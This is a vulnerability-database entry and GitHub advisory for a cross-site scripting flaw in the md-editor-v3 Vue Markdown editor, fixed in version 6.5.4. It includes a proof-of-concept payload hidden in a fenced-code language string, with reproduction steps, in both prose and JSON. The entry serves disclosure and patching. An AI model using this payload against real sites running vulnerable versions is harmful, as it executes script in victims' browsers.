Vulnerability-Lookup

CVE-2026-84992 (GCVE-0-2026-84992)

Vulnerability from cvelistv5 – Published: 2026-09-18 17:10 – Updated: 2026-09-18 18:06

Title

md-editor-v3: XSS via fenced-code language rendering bypass

Summary

md-editor-v3 is a Markdown editor for Vue 3 developed in JSX and TypeScript. Prior to 6.5.4, MdPreview's useMarkdownIt() highlight callback in packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts inserts a fenced-code language value into class and language HTML attributes without escaping or consistently quoting it. Both highlighted and non-highlighted rendering paths reach this return value, while XSSPlugin filters only existing html_block and html_inline tokens before rendering and therefore cannot inspect the renderer-generated HTML. An attacker who can supply Markdown can use crafted fenced-code metadata to execute JavaScript in the application origin when a victim renders it, including as stored cross-site scripting when the host persists the Markdown. This issue is fixed in version 6.5.4

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-18 18:06 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/imzbf/md-editor-v3/security/ad…	x_refsource_CONFIRM
https://github.com/imzbf/md-editor-v3/commit/2c07…	x_refsource_MISC
https://github.com/imzbf/md-editor-v3/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
imzbf	md-editor-v3	Affected: < 6.5.4	guessed

Show details on NVD website

JSON

To clipboard

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GHSA-3RM2-H79C-8QW6

Vulnerability from github – Published: 2026-09-18 17:17 – Updated: 2026-09-18 17:17

Summary

md-editor-v3: XSS via fenced-code language rendering bypass

Details

Summary

MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled.

Details

useMarkdownIt() (packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206) registers a highlight callback whose final return inserts language into both class="language-${language}" and an unquoted language=${language} attribute without escaping. Both highlighting paths reach this return. XSSPlugin() filters only existing html_block and html_inline tokens before rendering, so it cannot inspect this renderer-generated HTML.

PoC

The Vue application enables the shipped XSSPlugin and renders attacker-controlled Markdown. noHighlight: true only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as src/main.js:

import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';

config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x"><details/open/ontoggle=alert(document.domain)>\nSAFE\n```';
createApp({ render: () => h(MdPreview,
  { editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');

Create and run the app, replacing src/main.js when indicated:

npm create vite@latest poc -- --template vue
cd poc
npm install
npm install md-editor-v3@6.5.3
# Replace src/main.js with the code above.
npm run dev

Opening the displayed URL automatically shows the application hostname in an alert.

Impact

An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.

Suggested fix

Escape language with md.utils.escapeHtml before interpolation and quote the language attribute. Add this payload and the raw control as regression tests with XSSPlugin enabled.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

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  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "md-editor-v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T17:17:36Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`MdPreview` interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped `XSSPlugin` is enabled.\n\n### Details\n`useMarkdownIt()` (`packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206`) registers a `highlight` callback whose final return inserts `language` into both `class=\"language-${language}\"` and an unquoted `language=${language}` attribute without escaping. Both highlighting paths reach this return. `XSSPlugin()` filters only existing `html_block` and `html_inline` tokens before rendering, so it cannot inspect this renderer-generated HTML.\n\n### PoC\nThe Vue application enables the shipped `XSSPlugin` and renders attacker-controlled Markdown. `noHighlight: true` only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as `src/main.js`:\n\n```js\nimport { createApp, h } from \u0027vue\u0027;\nimport { MdPreview, XSSPlugin, config } from \u0027md-editor-v3\u0027;\n\nconfig({ markdownItPlugins: p =\u003e [...p, { type: \u0027xss\u0027, plugin: XSSPlugin, options: {} }] });\nconst markdown = \u0027```x\"\u003e\u003cdetails/open/ontoggle=alert(document.domain)\u003e\\nSAFE\\n```\u0027;\ncreateApp({ render: () =\u003e h(MdPreview,\n  { editorId: \u0027poc\u0027, modelValue: markdown, noHighlight: true })\n}).mount(\u0027#app\u0027);\n```\n\nCreate and run the app, replacing `src/main.js` when indicated:\n\n```sh\nnpm create vite@latest poc -- --template vue\ncd poc\nnpm install\nnpm install md-editor-v3@6.5.3\n# Replace src/main.js with the code above.\nnpm run dev\n```\n\nOpening the displayed URL automatically shows the application hostname in an alert.\n\n### Impact\nAn attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.\n\n### Suggested fix\nEscape `language` with `md.utils.escapeHtml` before interpolation and quote the `language` attribute. Add this payload and the raw control as regression tests with `XSSPlugin` enabled.",
  "id": "GHSA-3rm2-h79c-8qw6",
  "modified": "2026-09-18T17:17:36Z",
  "published": "2026-09-18T17:17:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/imzbf/md-editor-v3/security/advisories/GHSA-3rm2-h79c-8qw6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/imzbf/md-editor-v3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/imzbf/md-editor-v3/releases/tag/v6.5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "md-editor-v3: XSS via fenced-code language rendering bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-84992 (GCVE-0-2026-84992)

GHSA-3RM2-H79C-8QW6

Summary

Details

PoC

Impact

Suggested fix

Tags

Sightings

Nomenclature

Related by attack behaviour